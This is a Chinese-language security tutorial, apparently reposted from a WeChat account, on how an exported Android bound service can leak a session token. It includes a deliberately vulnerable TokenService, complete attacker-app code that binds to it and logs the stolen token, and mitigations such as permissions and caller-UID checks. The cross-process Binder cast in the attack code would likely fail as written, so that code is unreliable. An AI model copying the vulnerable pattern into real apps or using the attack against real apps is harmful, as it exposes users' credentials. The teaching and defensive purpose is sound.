🔍 Android 绑定服务导致敏感信息泄露漏洞分析与利用
🧩 什么是绑定服务(bindService)?
在 Android 中,服务(Service) 是一种运行在后台、无需用户界面的组件,通常用于执行长时间运行的任务,比如后台下载、播放音乐、执行数据库同步等。
绑定服务(bindService()
)是一种让 其他组件或 App 通过接口调用服务功能 的方式。
bindService()
和普通 startService()
的区别?
类型 | 特点 | 使用方式 |
---|---|---|
startService() |
一次性启动服务,服务独立运行,不能交互 | startService(intent) |
bindService() |
绑定后可交互,通过 Binder 获取服务对象并调用方法 | bindService(intent, ...) |
当你调用 bindService()
时,实际上是在说:
“我要连接到这个服务,获取它暴露的接口对象,然后调用它的方法。”
🧱 通俗解释:
把服务当作一个公司,你用
bindService()
拿到了它的联系人(Binder 对象),然后通过这个联系人去问它要数据、执行操作。
❗ 为什么绑定服务会造成信息泄露?
Android 中的绑定服务(bindService
)如果被误配置为可被外部 App 绑定,且返回了含有敏感信息的 Binder
对象,就可能导致攻击者在无权限、无签名校验的前提下,获取隐私数据如 token、用户身份、配置等。
🧨 示例代码
<serviceandroid:name=".TokenService"android:exported="true" />
public class TokenService extends Service{@Nullable@Overridepublic IBinder onBind(Intent intent){return new MyBinder(); // 外部可绑定 }public class MyBinder extends Binder{public String getToken(){return AppConfig.SESSION_TOKEN; // 返回敏感信息 } }}
漏洞关键点:
-
服务导出( exported="true"
)。 -
未设置权限或校验绑定来源。 -
公开方法返回了敏感信息。
🎯 攻击流程分析
攻击者只需开发一个简单 App,绑定目标服务,调用其返回的 Binder
中的方法,即可盗取敏感信息。
步骤一:构造绑定 Intent
Intent intent = new Intent();intent.setComponent(new ComponentName("com.vuln.app", "com.vuln.app.TokenService"));
步骤二:发起绑定
context.bindService(intent, conn, Context.BIND_AUTO_CREATE);
步骤三:拿到 Binder 并调用接口
ServiceConnection conn = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service){// 强转为对方暴露的 Binder 类型 TokenService.MyBinder binder = (TokenService.MyBinder) service; String token = binder.getToken(); Log.d("StolenToken", token); }@Overridepublic void onServiceDisconnected(ComponentName name){}};
🧪 攻击者 App 代码结构
// MainActivity.javapublic class MainActivity extends AppCompatActivity{@Overrideprotected void onCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState); Intent intent = new Intent(); intent.setComponent(new ComponentName("com.vuln.app", "com.vuln.app.TokenService")); bindService(intent, conn, Context.BIND_AUTO_CREATE); }private final ServiceConnection conn = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service){ String token = ((TokenService.MyBinder) service).getToken(); Log.e("[!] Token Leaked", token); }@Overridepublic void onServiceDisconnected(ComponentName name){} };}
⚠️ 注意:这里需要事先知道目标服务的包名和类名。
☠️ 危害分析
泄露内容 | 风险后果 |
---|---|
Session Token | 冒充用户、远程控制 |
用户手机号/ID | 数据泄露、社工风险 |
配置参数 | 绕过校验、滥用资源 |
尤其在金融、社交 App 中,token 泄露 = 登录绕过。
🛡️ 防护建议
防护项 | 示例 |
---|---|
设置权限 | android:permission="com.example.SECURE_BIND" |
禁止导出 | android:exported="false" |
绑定时校验 | 在 onBind() 中调用 getCallingUid() 进行校验 |
@Overridepublic IBinder onBind(Intent intent){int uid = Binder.getCallingUid(); String[] pkgs = getPackageManager().getPackagesForUid(uid);if (!Arrays.asList(pkgs).contains("com.trusted.client")) {return null; // 拒绝绑定 }return new MyBinder();}
✅ 总结
|
|
---|---|
|
|
|
|
|
|
|
|
原文始发于微信公众号(季升安全):Android 绑定服务是怎么回事?一文带你看懂原理与信息泄露风险
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论